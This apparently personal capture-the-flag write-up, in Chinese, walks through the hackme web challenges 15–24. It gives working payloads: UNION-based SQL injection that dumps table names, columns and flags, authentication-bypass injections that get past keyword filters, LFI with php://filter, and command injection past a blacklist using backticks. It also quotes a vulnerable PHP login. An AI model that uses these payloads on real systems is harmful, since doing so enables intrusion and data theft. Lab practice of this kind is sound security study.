hackme web题 15 - 24
15 hide and seek
点开的网址的源代码205行
16 guestbook
这题太卡了太卡了
点开message list的链接可以得到具体的信息
数字型注入
id=148 order by 4正常
id=148 order by 5错误,表有四列
后三列都会显示
-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4
得到当前数据库中表名,有flag,posts,users
-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name="flag"),3,4
得到列名id,flag,padding0,padding1
-1 union select 1,(select flag from flag),3,4
显示错误,需要一个一个输出
-1 union select 1,(select flag from flag limit 1,1),3,4
flag(第一条信息那个gif好鬼畜
17 LFI
Tips: LFI, php://filter
登陆页面提示
php://filter/read=convert.base64-encode/resource=
查看源码的base64编码
pages/flag下:
访问config.php得到(直接访问page答案也一样
18 homepage
源码217行的cute.js
一堆颜表情,可以用浏览器控制台解码,得到二维码
扫描得到flag
19 Ping
黑名单
可以用反引号`ls -l`
有flag.php,但是cat在黑名单
sort:将文件排序输出
`sort ???`
得到flag
20 scoreboard
提示不需要浏览
在响应头
21 Login as Admin 0
可以查看源码
<?php
require('config.php');
// table schema
// user -> id, user, password, is_admin
if($_GET['show_source'] === '1') {
highlight_file(__FILE__);
exit;
}
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
}
} catch(Exception $e) {
$user = false;
}
}
?>
闭合为’,
or 1=1、 drop、update、delete被过滤,'
->\\'
or
->||
,'
->\'
1\' || 1=1#
可以进入,提示不是admin,是guest
"SELECT * FROM `user` WHERE `user` = '1\' || 1=1"
是得到整个user表,但是只有整张表的第一个会被验证
试第二个
admin\' || 1=1 limit 1,1#
admin登陆成功,得到flag
22 Login as Admin 0.1
跟0一样的代码,0的最后提示了 flag2 in the database! ,应该要注入数据库
order by 好像不能用
直接试union select
到1\' union select 1,2,3,4#
成功登陆并且回显2
1\' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#
得到当前数据库中表名,有一个h1dden_f14g
1\' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="h1dden_f14g"),3,4#
得到列名the_f14g
1\' union select 1,(select the_f14g from h1dden_f14g),3,4#
得到flag
23 Login as Admin 1
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
空格、1=1、"被过滤,'
->\\'
1\'/**/or/**/1#
能登陆,但是没flag,用户名直接显示了输入,应该和21一样是guest
1\'/**/or/**/1/**/limit/**/1,1#
得到flag
24 Login as Admin 1.2
同样提示了提示了 flag2 in the database!
用户名直接是post的值
bool盲注。之后弄